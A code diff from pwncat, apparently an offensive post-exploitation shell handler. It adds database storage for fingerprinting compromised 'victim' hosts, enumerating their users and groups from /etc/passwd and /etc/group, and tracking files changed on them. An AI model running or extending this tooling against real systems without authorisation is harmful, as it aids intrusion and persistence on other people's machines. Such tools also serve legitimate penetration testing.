self.client.settimeout(1)
# Attempt to grab the remote hostname and mac address
hostname_path = self.run("which hostname").strip().decode("utf-8")
if hostname_path.startswith("/"):
hostname = self.run("hostname -f")
else:
util.warn("hostname command not found; using peer address")
hostname = client.getpeername().encode("utf-8")
mac = None
# Use ifconfig if available or ip link show.
ifconfig = self.run("which ifconfig").strip().decode("utf-8")
if ifconfig.startswith("/"):
ifconfig_a = self.run(f"{ifconfig} -a").strip().decode("utf-8").lower()
for line in ifconfig_a.split("\n"):
if "hwaddr" in line and "00:00:00:00:00:00" not in line:
mac = line.split("hwaddr ")[1].split("\n")[0].strip()
break
if mac is None:
ip = self.run("which ip").strip().decode("utf-8")
if ip.startswith("/"):
ip_link_show = self.run("ip link show").strip().decode("utf-8").lower()
for line in ip_link_show.split("\n"):
if "link/ether" in line and "00:00:00:00:00:00" not in line:
mac = line.split("link/ether ")[1].split(" ")[0]
break
if mac is None:
util.warn("no mac address detected; host id only based on hostname!")
# Calculate the remote host's hash entry for lookup/storage in the database
host_hash = hashlib.md5(hostname + str(mac).encode("utf-8")).hexdigest()
# Lookup the remote host in our database. If it's not there, create an entry
self.host = self.session.query(pwncat.db.Host).filter_by(hash=host_hash).first()
if self.host is None:
self.host = pwncat.db.Host(hash=host_hash)
self.session.add(self.host)
self.session.commit()
# We initialize this here, because it needs the database to initialize
# the history objects
self.command_parser.setup_prompt()
# Attempt to identify architecture
self.arch = self.run("uname -m").decode("utf-8").strip()
if self.arch == "amd64":
@ -959,42 +1016,86 @@ class Victim:
def reload_users(self):
""" Clear user cache and reload it """
self.known_users = None
# Clear the user cache
with self.open("/etc/passwd", "r") as filp:
for line in filp:
line = line.strip()
if line == "" or line[0] == "#":
continue
line = line.strip().split(":")
user = (
self.session.query(pwncat.db.User)
.filter_by(host_id=self.host.id, id=int(line[2]))
.first()
)
if user is None:
user = pwncat.db.User(id=int(line[2]))
user.name = line[0]
user.id = int(line[2])
user.gid = int(line[3])
user.fullname = line[4]
user.homedir = line[5]
user.shell = line[6]
if user not in self.host.users:
self.host.users.append(user)
with self.open("/etc/group", "r") as filp:
for line in filp:
line = line.strip()
if line == "" or line.startswith("#"):
continue
line = line.split(":")
group = (
self.session.query(pwncat.db.Group)
.filter_by(host_id=self.host.id, id=int(line[2]))
.first()
)
if group is None:
group = pwncat.db.Group(name=line[0], id=int(line[2]))
group.name = line[0]
group.id = int(line[2])
for username in line[3].split(","):
user = (
self.session.query(pwncat.db.User)
.filter_by(host_id=self.host.id, name=username)
.first()
)
if user is not None and user not in group.members:
group.members.append(user)
if group not in self.host.groups:
self.host.groups.append(group)
return self.users
@property
def users(self):
def users(self) -> Dict[str, pwncat.db.User]:
if self.client is None:
return {}
if self.known_users:
return self.known_users
if len(self.host.users) == 0:
self.reload_users()
self.known_users = {}
known_users = {}
passwd = self.run("cat /etc/passwd").decode("utf-8")
for line in passwd.split("\n"):
line = line.strip()
if line == "" or line[0] == "#":
continue
line = line.strip().split(":")
for user in self.host.users:
known_users[user.name] = user
user_data = {
"name": line[0],
"password": None,
"uid": int(line[2]),
"gid": int(line[3]),
"description": line[4],
"home": line[5],
"shell": line[6],
}
self.known_users[line[0]] = user_data
return known_users
return self.known_users
def find_user_by_id(self, uid: int):
for user in self.users:
if user.id == uid:
return user
raise KeyError
@property
def current_user(self):
def current_user(self) -> Optional[pwncat.db.User]:
name = self.whoami()
if name in self.users:
return self.users[name]

View File

@ -1,9 +1,11 @@
#!/usr/bin/env python3
import pickle
from typing import List, Optional, Callable, Iterator
from enum import Enum, auto
from colorama import Fore
import pwncat
from pwncat.util import Access
class Action(Enum):
@ -34,6 +36,8 @@ class CreatedFile(Tamper):
def revert(self):
try:
pwncat.victim.run(f"rm -f {self.path}")
if Access.EXISTS in pwncat.victim.access(self.path):
raise RevertFailed(f"{self.path}: unable to remove file")
except (PermissionError, FileNotFoundError) as exc:
raise RevertFailed(str(exc))
@ -57,34 +61,33 @@ class ModifiedFile(Tamper):
self.original_content = original_content
def revert(self):
if self.added_lines:
# Read the current lines
with pwncat.victim.open(self.path, "r") as filp:
lines = filp.readlines()
try:
if self.added_lines:
# Read the current lines
with pwncat.victim.open(self.path, "r") as filp:
lines = filp.readlines()
# Remove matching lines
for line in self.added_lines:
try:
lines.remove(line)
except ValueError:
pass
# Remove matching lines
for line in self.added_lines:
try:
lines.remove(line)
except ValueError:
pass
# Write the new original_content
file_data = "".join(lines)
with pwncat.victim.open(self.path, "w", length=len(file_data)) as filp:
filp.write(file_data)
# Write the new original_content
file_data = "".join(lines)
with pwncat.victim.open(self.path, "w", length=len(file_data)) as filp:
filp.write(file_data)
elif self.original_content:
# Write the given original original_content back to the remote file
try:
elif self.original_content:
with pwncat.victim.open(
self.path, "wb", length=len(self.original_content)
) as filp:
filp.write(self.original_content)
except (PermissionError, FileNotFoundError) as exc:
raise RevertFailed(str(exc))
else:
raise RevertFailed("no original_content or added_lines specified")
else:
raise RevertFailed("no original_content or added_lines specified")
except (PermissionError, FileNotFoundError) as exc:
raise RevertFailed(str(exc))
def __str__(self):
return f"{Fore.RED}Modified{Fore.RESET} {Fore.CYAN}{self.path}{Fore.RESET}"
@ -127,7 +130,7 @@ class TamperManager:
added_lines: Optional[List[str]] = None,
):
""" Add a new modified file tamper """
self.tampers.append(
self.add(
ModifiedFile(
path, added_lines=added_lines, original_content=original_content
)
@ -135,20 +138,39 @@ class TamperManager:
def created_file(self, path: str):
""" Register a new added file on the remote system """
self.tampers.append(CreatedFile(path))
self.add(CreatedFile(path))
def add(self, tamper: Tamper):
""" Register a custom tamper tracker """
self.tampers.append(tamper)
serialized = pickle.dumps(tamper)
tracker = pwncat.db.Tamper(name=str(tamper), data=serialized)
pwncat.victim.host.tampers.append(tracker)
pwncat.victim.session.commit()
def custom(self, name: str, revert: Optional[Callable] = None):
self.tampers.append(LambdaTamper(name, revert))
self.add(LambdaTamper(name, revert))
def __iter__(self) -> Iterator[Tamper]:
yield from self.tampers
for tracker in pwncat.victim.host.tampers:
yield pickle.loads(tracker.data)
def __len__(self):
return len(pwncat.victim.host.tampers)
def __getitem__(self, item: int):
if not isinstance(item, int):
raise KeyError(f"{item}: not an integer")
return pickle.loads(pwncat.victim.host.tampers[item].data)
def remove(self, tamper: Tamper):
""" Pop a tamper from the list of known tampers. This does not revert the tamper.
It removes the tracking for this tamper. """
return self.tampers.remove(tamper)
tracker = (
pwncat.victim.session.query(pwncat.db.Tamper)
.filter_by(name=str(tamper))
.first()
)
if tracker is not None:
pwncat.victim.session.delete(tracker)
pwncat.victim.session.commit()

View File

@ -5,4 +5,5 @@ netifaces==0.10.9
pygments==2.6.1
base64io
commentjson
requests
requests
sqlalchemy

View File

@ -14,7 +14,8 @@ dependencies = [
"base64io",
"commentjson",
"requests",
"prompt-toolkit"
"prompt-toolkit",
"sqlalchemy"
]
dependency_links = [